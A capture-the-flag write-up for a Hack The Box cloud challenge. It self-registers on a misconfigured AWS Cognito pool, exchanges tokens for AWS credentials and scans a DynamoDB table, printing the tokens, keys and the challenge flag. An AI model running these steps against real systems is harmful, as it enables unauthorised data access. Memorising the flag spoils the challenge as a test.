EBS HTB Bussines CTF 2025

Objective

The Volnaya Emergency Broadcast System (EBS) is a critical platform for disseminating urgent public communications. The public-facing portal has been identified, but access is restricted. The objective is to gain access to the system, explore its backend services, and retrieve any sensitive data that might be stored, which could provide insight into its operational capabilities and expose potential vulnerabilities.

• URL: http://d25vt11c4zrsnp.cloudfront.net/
• Technologies Identified: AWS (Cognito, API Gateway, S3, DynamoDB), React, AWS Amplify
• Goal: Identify and extract sensitive data to assess the security posture of the system.

Introduction

The EBS platform is a web application hosted on AWS infrastructure, designed to broadcast emergency alerts. As part of a penetration test conducted on May 27, 2025, we aim to evaluate the security of the system by attempting to bypass authentication, explore backend services, and identify any exposed sensitive data. This could include operational details, user information, or other critical data that should not be accessible to unauthorized users.

Initial Reconnaissance

Step 1: Analyzing the Frontend

• Action: Accessed the URL and used browser DevTools (F12 → Sources) to inspect the JavaScript bundle hosted at https://d25vt11c4zrsnp.cloudfront.net/.
• Findings:
  • Cognito Configuration (from /config.json):
    • User Pool ID: eu-north-1_55iNnZmYp
    • Client ID: 1s3s6r0e517r5h7m00ab0t58ra
    • OAuth: Authorization Code Grant with PKCE
  • API Endpoint: https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/broadcasts for fetching alerts
  • Identity Pool ID: eu-north-1:1e17b559-4464-4f84-a30f-f53974f45a65 for AWS credentials
  • Routes: /login, /callback, / (dashboard displaying alerts)
  • Alerts Structure: Types (missile, natural, biohazard, civil) and priorities (1-4)
• Reasoning:
  • The URL points to a CloudFront distribution, indicating a static frontend, likely a React application hosted on S3. In web applications, client-side JavaScript often contains configuration details that can reveal backend infrastructure, such as authentication services or API endpoints.
  • Inspecting the JavaScript bundle is a standard step in penetration testing to identify potential entry points, as developers may inadvertently expose sensitive information like AWS service IDs or API keys in the frontend code.
  • The presence of AWS Cognito for authentication and an Identity Pool suggests that the application uses AWS services for both user management and backend resource access. This configuration hints at potential misconfigurations in the authentication flow or overly permissive access to AWS resources.
• Insight: The application requires Cognito authentication to access the dashboard and API. The Identity Pool indicates that authenticated users may obtain temporary AWS credentials, which could provide access to backend services like S3 or DynamoDB if not properly restricted.

Gaining Access

Step 2: Registering a User

• Action: Attempted to register a new user with Cognito since no credentials were provided.

• Command:

    aws cognito-idp sign-up \
      --client-id 1s3s6r0e517r5h7m00ab0t58ra \
      --username whare@gmail.com \
      --password Test123! \
      --region eu-north-1
  

• Reasoning:
  • The login page required Cognito credentials, but no user accounts were provided, suggesting that the system might allow self-registration. In real-world applications, user registration is sometimes enabled without strict controls, especially in systems prioritizing accessibility over security.
  • The client-id and region were extracted from the JavaScript bundle, allowing direct interaction with the Cognito User Pool via the AWS CLI. This approach tests whether the system enforces proper registration controls, such as email verification or administrative approval.
  • The goal was to create a legitimate user account to obtain authentication tokens, which would enable further exploration of the application’s functionality and backend services.

• Result: Successfully registered whare@gmail.com. No email verification was required.

    {
      "UserConfirmed": true,
      "UserSub": "90ec790c-9071-70dd-3704-650834201d1c"
    }
  

• Insight: The absence of email verification is a significant security flaw. In a production environment, this allows unauthorized users to create accounts and potentially access restricted areas of the application, highlighting a need for stricter user onboarding controls.

Step 3: Authenticating the User

• Action: Authenticated the newly registered user to obtain tokens for accessing the application and backend services.

• Command:

    aws cognito-idp initiate-auth \
      --auth-flow USER_PASSWORD_AUTH \
      --client-id 1s3s6r0e517r5h7m00ab0t58ra \
      --auth-parameters USERNAME=whare@gmail.com,PASSWORD=Test123! \
      --region eu-north-1
  

• Reasoning:
  • With a registered user, authentication is the next step to gain access to the application’s protected features, such as the dashboard and API endpoints.
  • The USER_PASSWORD_AUTH flow was selected as it’s a straightforward method supported by Cognito, requiring only a username and password. This tests whether the system allows basic authentication without additional security measures like multi-factor authentication (MFA).
  • The obtained tokens (AccessToken, IdToken, RefreshToken) are critical for interacting with the API Gateway and potentially exchanging the IdToken for AWS credentials via the Identity Pool, which could unlock deeper access to the system’s infrastructure.

• Result: Obtained:

  • AccessToken: For API Gateway requests
  • IdToken: For Identity Pool authentication
  • RefreshToken: For token renewal

    {
      "AuthenticationResult": {
        "AccessToken": "eyJraWQiOiIxK3RhbjA5T0...",
        "IdToken": "eyJraWQiOiJ3RWtJYzBw...",
        "RefreshToken": "eyJjdHkiOiJKV1Qi..."
      }
    }
  

• Insight: The successful authentication confirms that the system accepts the new user account without additional verification. The IdToken is particularly valuable, as it can be used with the Identity Pool to obtain AWS credentials, potentially granting access to sensitive backend resources.

Exploring the API

Step 4: Querying the /broadcasts Endpoint

• Action: Used the AccessToken to query the API endpoint responsible for fetching alerts.

• Command:

    curl -H "Authorization: Bearer <access_token>" https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/broadcasts
  

• Reasoning:
  • The JavaScript bundle revealed that the dashboard retrieves alerts from this endpoint, indicating it’s the primary interface for accessing broadcast data.
  • In penetration testing, APIs are a critical target because they often handle sensitive data or functionality. Querying the endpoint with the AccessToken simulates a legitimate user request, allowing us to understand what data the application exposes and whether it includes anything sensitive, such as operational details or credentials.
  • The goal was to assess the type of data returned and identify any potential vulnerabilities, such as exposed internal information or insufficient access controls.

• Result: Returned a JSON array of alerts:

    [
      {
        "description": "Category 5 hurricane approaching coastal regions",
        "id": "b45c42aa-4e08-4166-bf62-7cf4dda68423",
        "priority": "2",
        "region": "Eastern Coast",
        "title": "Severe Storm Warning",
        "type": "natural"
      },
      ...
    ]
  

• Insight: The endpoint returns public-facing alert data but no sensitive operational details. The structured fields (type, priority) suggest that the API might support filtering, which could be exploited to access restricted or internal data if not properly secured.

Step 5: Parameter Fuzzing

• Action: Tested various query parameters to identify hidden or restricted data.

• Commands:

    curl -H "Authorization: Bearer <access_token>" https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/broadcasts?type=admin
    curl -H "Authorization: Bearer <access_token>" https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/broadcasts?type=secret
    curl -H "Authorization: Bearer <access_token>" https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/broadcasts?flag=true
    curl -H "Authorization: Bearer <access_token>" https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/broadcasts?priority=0
  

• Reasoning:
  • The frontend allowed filtering by type and priority, indicating that the API might accept query parameters to modify its responses. In penetration testing, manipulating API parameters can reveal hidden data or functionality if the backend fails to properly validate or sanitize inputs.
  • Parameters like type=admin or type=secret were tested to check for internal or administrative data that might be accessible due to poor access controls. The flag=true parameter was an exploratory test for metadata or debugging information, as developers sometimes include such parameters for testing purposes.
  • Testing priority=0 explored edge cases, as the documented priorities were 1-4. Out-of-range values might bypass filters or expose data not intended for public users.
• Result: All requests returned the same alerts as the initial query, with no additional data exposed.
• Insight: The API appears to have strict filtering or validation, preventing unauthorized access to hidden data through parameter manipulation. This suggests that sensitive information might be stored elsewhere, possibly in a backend service not directly accessible via the API.

Step 6: Testing Other Endpoints

• Action: Probed for undocumented API endpoints.

• Commands:

    curl -H "Authorization: Bearer <access_token>" https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/flag
    curl -H "Authorization: Bearer <access_token>" https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/secret
    curl -H "Authorization: Bearer <access_token>" https://suhq95e8oj.execute-api.eu-north-1.amazonaws.com/admin
  

• Reasoning:
  • API Gateway endpoints often follow a RESTful structure, and developers may create additional paths for administrative or internal use (e.g., /admin, /secret). These endpoints might be accessible with the same AccessToken if access controls are not properly segmented.
  • Testing these paths checks for misconfigurations where sensitive functionality or data might be exposed to authenticated users without additional authorization checks.
  • The goal was to identify any overlooked endpoints that could provide deeper insight into the system’s operations or expose sensitive data.
• Result: Received 404 or 403 errors, indicating these endpoints either do not exist or are restricted.
• Insight: The API Gateway is well-secured in terms of endpoint access, with no undocumented paths exposed to this user role. This directs our attention to other AWS services that might be accessible with the Identity Pool credentials.

Accessing AWS Resources

Step 7: Obtaining Identity Pool Credentials

• Action: Used the IdToken to obtain temporary AWS credentials via the Cognito Identity Pool.

• Script:

    import boto3
      
    client = boto3.client('cognito-identity', region_name='eu-north-1')
      
    response = client.get_id(
        IdentityPoolId='eu-north-1:1e17b559-4464-4f84-a30f-f53974f45a65',
        Logins={
            'cognito-idp.eu-north-1.amazonaws.com/eu-north-1_55iNnZmYp': (
                'eyJraWQiOiJ3RWtJYzBwR0Jncm1JQjJTZ3d3N0kwb1NrMmtheVBkeldyb2RkQWczSVFFPSIsImFsZyI6IlJTMjU2In0.'
                'eyJzdWIiOiIwMDZjZDlmYy00MGMxLTcwZWUtYTFjOS1hZmMwN2M3ZGFiY2QiLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2Us'
                'ImlzcyI6Imh0dHBzOlwvXC9jb2duaXRvLWlkcC5ldS1ub3J0aC0xLmFtYXpvbmF3cy5jb21cL2V1LW5vcnRoLTFfNTVp'
                'Tm5abVlwIiwiY29nbml0bzp1c2VybmFtZSI6IjAwNmNkOWZjLTQwYzEtNzBlZS1hMWM5LWFmYzA3YzdkYWJjZCIsIm9y'
                'aWdpbl9qdGkiOiIwNzg1MDE0My1iOTc3LTRkYmYtYmY1Zi05NTJlZWYyMWQ3MzQiLCJhdWQiOiIxczNzNnIwZTUxN3I1'
                'aDdtMDBhYjB0NThyYSIsImV2ZW50X2lkIjoiZDMzNjJkOTMtNTI5Ni00MWFkLWI5NjQtZTM2Y2M2MDg0ZmNmIiwidG9r'
                'ZW5fdXNlIjoiaWQiLCJhdXRoX3RpbWUiOjE3NDg0Mzk2NjEsImV4cCI6MTc0ODQ0MzI2MSwiaWF0IjoxNzQ4NDM5NjYx'
                'LCJqdGkiOiIxNTU3MTI1OS0wZmJlLTQ0YjctOTI4ZC0wODY0MzgzMTMwNTAiLCJlbWFpbCI6InRlc3R1c2VyMUBnbWFp'
                'bC5jb20ifQ.07FyLPLA8Yr16OSbmGk_TGF0IJROjUZY4OY5azvfgLyrI6hjj-XcmYlXw94tj9t3O4Zlyc4a-vn8uVMzslz'
                'm2BQwcYw1Ij4pM4_mxR7-XqFDV1c537Sh3En09yVVMnLA6aSqVgaWCjC0CFZmRnDSB89vtFeBxzIYUapM3AMcrbzy5Q8'
                'GvN3AY1g_qZQlr16Zfsbn3y0ECBTk97dKa2U1x8PNxU0wNfbMNnwfbe0hiX9S7HQ3JeaZ3gHBV5dGxcqDgnEm9XlMDcj'
                'PX-LbY7HtViMjYY9Lb005_Kjs93srOaLNWEwxBIjrLHFMqaVQKCaLkK3Pj53laxfkotQS5wjqAQ'
            )
        }
    )
      
    identity_id = response['IdentityId']
    print(f"IdentityId: {identity_id}")
      
    credentials = client.get_credentials_for_identity(
        IdentityId=identity_id,
        Logins={
            'cognito-idp.eu-north-1.amazonaws.com/eu-north-1_55iNnZmYp': (
                'eyJraWQiOiJ3RWtJYzBwR0Jncm1JQjJTZ3d3N0kwb1NrMmtheVBkeldyb2RkQWczSVFFPSIsImFsZyI6IlJTMjU2In0.'
                'eyJzdWIiOiIwMDZjZDlmYy00MGMxLTcwZWUtYTFjOS1hZmMwN2M3ZGFiY2QiLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2Us'
                'ImlzcyI6Imh0dHBzOlwvXC9jb2duaXRvLWlkcC5ldS1ub3J0aC0xLmFtYXpvbmF3cy5jb21cL2V1LW5vcnRoLTFfNTVp'
                'Tm5abVlwIiwiY29nbml0bzp1c2VybmFtZSI6IjAwNmNkOWZjLTQwYzEtNzBlZS1hMWM5LWFmYzA3YzdkYWJjZCIsIm9y'
                'aWdpbl9qdGkiOiIwNzg1MDE0My1iOTc3LTRkYmYtYmY1Zi05NTJlZWYyMWQ3MzQiLCJhdWQiOiIxczNzNnIwZTUxN3I1'
                'aDdtMDBhYjB0NThyYSIsImV2ZW50X2lkIjoiZDMzNjJkOTMtNTI5Ni00MWFkLWI5NjQtZTM2Y2M2MDg0ZmNmIiwidG9r'
                'ZW5fdXNlIjoiaWQiLCJhdXRoX3RpbWUiOjE3NDg0Mzk2NjEsImV4cCI6MTc0ODQ0MzI2MSwiaWF0IjoxNzQ4NDM5NjYx'
                'LCJqdGkiOiIxNTU3MTI1OS0wZmJlLTQ0YjctOTI4ZC0wODY0MzgzMTMwNTAiLCJlbWFpbCI6InRlc3R1c2VyMUBnbWFp'
                'bC5jb20ifQ.07FyLPLA8Yr16OSbmGk_TGF0IJROjUZY4OY5azvfgLyrI6hjj-XcmYlXw94tj9t3O4Zlyc4a-vn8uVMzslz'
                'm2BQwcYw1Ij4pM4_mxR7-XqFDV1c537Sh3En09yVVMnLA6aSqVgaWCjC0CFZmRnDSB89vtFeBxzIYUapM3AMcrbzy5Q8'
                'GvN3AY1g_qZQlr16Zfsbn3y0ECBTk97dKa2U1x8PNxU0wNfbMNnwfbe0hiX9S7HQ3JeaZ3gHBV5dGxcqDgnEm9XlMDcj'
                'PX-LbY7HtViMjYY9Lb005_Kjs93srOaLNWEwxBIjrLHFMqaVQKCaLkK3Pj53laxfkotQS5wjqAQ'
            )
        }
    )
      
    print(credentials['Credentials'])
  

• Reasoning:
  • The JavaScript bundle revealed an Identity Pool, which allows Cognito-authenticated users to obtain temporary AWS credentials. In AWS environments, Identity Pools are often used to grant limited access to services like S3 or DynamoDB for application functionality.
  • Using the IdToken to obtain credentials tests whether the Identity Pool grants excessive permissions, a common misconfiguration in AWS setups. For example, a user role might have access to resources beyond what is necessary for the application’s functionality, such as internal databases or storage buckets.
  • The script automates this process to efficiently obtain the IdentityId and credentials (AccessKeyId, SecretAccessKey, SessionToken), which can then be used to interact directly with AWS services.

• Result:

    IdentityId: eu-north-1:13a52cba-99ea-c041-2a7b-e6acf51c1f4a
    {'AccessKeyId': 'ASIARHJJMXKM6PI6BHDW', 'SecretKey': '8RGqO7JFClUQSssJsNuDm9JJsPqPAvL9Gndx+UKX', 'SessionToken': '...', 'Expiration': '2025-05-27T16:44:04+00:00'}
  

• Insight: The credentials grant direct access to AWS services under the user’s role. This level of access could be dangerous if the associated IAM role is overly permissive, potentially exposing sensitive data or allowing unauthorized actions on the system’s infrastructure.

Step 8: Configuring AWS CLI

• Action: Configured the AWS CLI with the obtained credentials.

• Commands:

    aws configure set aws_access_key_id ASIARHJJMXKM6PI6BHDW
    aws configure set aws_secret_access_key 8RGqO7JFClUQSssJsNuDm9JJsPqPAvL9Gndx+UKX
    aws configure set aws_session_token IQoJb3JpZ2luX2VjEK7...
    aws configure set region eu-north-1
  

• Reasoning:
  • Configuring the AWS CLI with the temporary credentials allows us to interact with AWS services as an authenticated user, simulating the permissions a legitimate user would have.
  • Setting the region ensures that commands target the correct AWS region (eu-north-1), as AWS resources are region-specific. This step prepares us to enumerate accessible services and assess the scope of permissions granted to the user role.

• Verification:

    aws sts get-caller-identity
  

• Result:

    {
      "UserId": "AROARHJJMXKM6FIURQ6YX:CognitoIdentityCredentials",
      "Account": "084375550617",
      "Arn": "arn:aws:sts::084375550617:assumed-role/ebs-cognitoUserRole-e235168/CognitoIdentityCredentials"
    }
  

• Insight: The verification confirms that the credentials are valid, granting access to AWS services under the ebs-cognitoUserRole-e235168 role. This role’s permissions will determine what resources we can access, which is critical for assessing the system’s security boundaries.

Identifying Sensitive Data

Step 9: Exploring S3

• Action: Attempted to list S3 buckets.

• Command:

    aws s3 ls
  

• Reasoning:
  • S3 is a common storage solution in AWS environments, often used to store application assets, logs, or operational data. Listing buckets tests whether the user role has permissions to view or access storage resources.
  • In penetration testing, S3 buckets are a frequent target because they may contain sensitive data (e.g., backups, configuration files, or internal documents) if not properly secured. The goal is to identify any exposed storage that could reveal operational details or sensitive information.
• Result: AccessDenied for s3:ListAllMyBuckets.

• Attempt: Tested specific bucket names:

    aws s3 ls s3://ebs-ctf --region eu-north-1
    aws s3 ls s3://flag --region eu-north-1
  

• Reasoning:
  • Since listing all buckets was denied, we attempted to access specific buckets by guessing names based on the application context (e.g., ebs-ctf, flag). In AWS, bucket names are often predictable, and testing common patterns can reveal misconfigured buckets with public or overly permissive access.
• Result: No buckets found or AccessDenied.
• Insight: The user role lacks permissions to list or access these S3 buckets, indicating that storage access is either tightly controlled or the buckets do not exist. This suggests that sensitive data might be stored in another service, such as a database.

Step 10: Exploring DynamoDB

• Action: Listed DynamoDB tables.

• Command:

    aws dynamodb list-tables --region eu-north-1
  

• Reasoning:
  • DynamoDB is a NoSQL database commonly used with API Gateway to store application data, such as the alerts displayed on the dashboard. Listing tables checks whether the user role has permissions to view database resources.
  • In penetration testing, databases are a key target because they often store sensitive data (e.g., user information, operational logs, or internal records) that might not be exposed through the application’s API. The goal is to identify any accessible tables that could reveal critical information.

• Result:

    {
      "TableNames": [
        "ebs-broadcastsTable-2866166"
      ]
    }
  

• Insight: The table ebs-broadcastsTable-2866166 likely stores the data backing the /broadcasts endpoint, such as alert records. This table is a promising target for finding operational data that might not be exposed to end users.

Step 11: Scanning the DynamoDB Table

• Action: Scanned the DynamoDB table to retrieve all items.

• Command:

    aws dynamodb scan --table-name ebs-broadcastsTable-2866166 --region eu-north-1
  

• Reasoning:
  • The scan operation retrieves all items in the table, bypassing any filters applied by the API Gateway endpoint. In a real-world scenario, APIs often restrict data based on user roles, but the underlying database might contain additional records, such as internal notes, audit logs, or administrative data.
  • The goal was to identify any sensitive information not intended for public exposure, which could provide insights into the system’s operations or vulnerabilities.

• Result: Found an item containing potentially sensitive data:

    {
      "priority": {"S": "1"},
      "region": {"S": "HTB{d3f4ul7_516nup_15_c00l}"},
      "description": {"S": "HTB{d3f4ul7_516nup_15_c00l}"},
      "id": {"S": "b2aceda2-9dcc-4640-9fe6-59e4b40ed39a"},
      "title": {"S": "flag"},
      "type": {"S": "HTB{d3f4ul7_516nup_15_c00l}"}
    }
  

• Insight: The table contains an item with a value (HTB{d3f4ul7_516nup_15_c00l}) repeated across multiple fields (region, description, type). This appears to be a test or placeholder value, potentially a remnant of development or debugging processes. While not operational data, this value could be considered sensitive, as it might indicate a configuration error or an intentional backdoor left in the system. Retaining such data in a production environment is a security risk, as it could be used by unauthorized parties to gain further access or insight into the system.

Conclusion

The penetration test revealed sensitive data in the DynamoDB table ebs-broadcastsTable-2866166, which was not exposed through the API due to filtering. Key findings include:

1. Frontend Analysis: Extracted Cognito configurations and API endpoints from the JavaScript bundle, identifying the authentication flow and backend services.
2. Authentication Bypass: Exploited a permissive Cognito setup by registering and authenticating a new user without email verification, highlighting a lack of proper user onboarding controls.
3. API Exploration: Queried the /broadcasts endpoint and tested parameters, confirming that the API enforces strict filtering to prevent unauthorized data exposure.
4. AWS Escalation: Used the Identity Pool to obtain AWS credentials, revealing the scope of permissions granted to authenticated users.
5. Resource Enumeration: Identified and scanned the DynamoDB table, uncovering a test value (HTB{d3f4ul7_516nup_15_c00l}) that indicates a potential configuration error or backdoor.

Lessons learned

• Enable Email Verification: Require email verification for Cognito user registration to prevent unauthorized account creation.
• Restrict IAM Permissions: Limit the permissions of the ebs-cognitoUserRole-e235168 role to only the necessary actions (e.g., read-only access to specific resources), preventing unauthorized access to backend services like DynamoDB.
• Sanitize Database Data: Remove or encrypt test values and placeholder data (e.g., HTB{d3f4ul7_516nup_15_c00l}) from production databases to avoid exposure of internal configurations.
• Enhance API Security: Implement additional access controls on API Gateway endpoints to ensure that only authorized users can access sensitive functionality or data.
• Audit Logs: Regularly audit and monitor access to AWS resources to detect and respond to unauthorized access attempts.

This assessment underscores the importance of secure configuration practices in cloud environments, particularly for critical systems like the EBS, where unauthorized access could have significant operational impacts.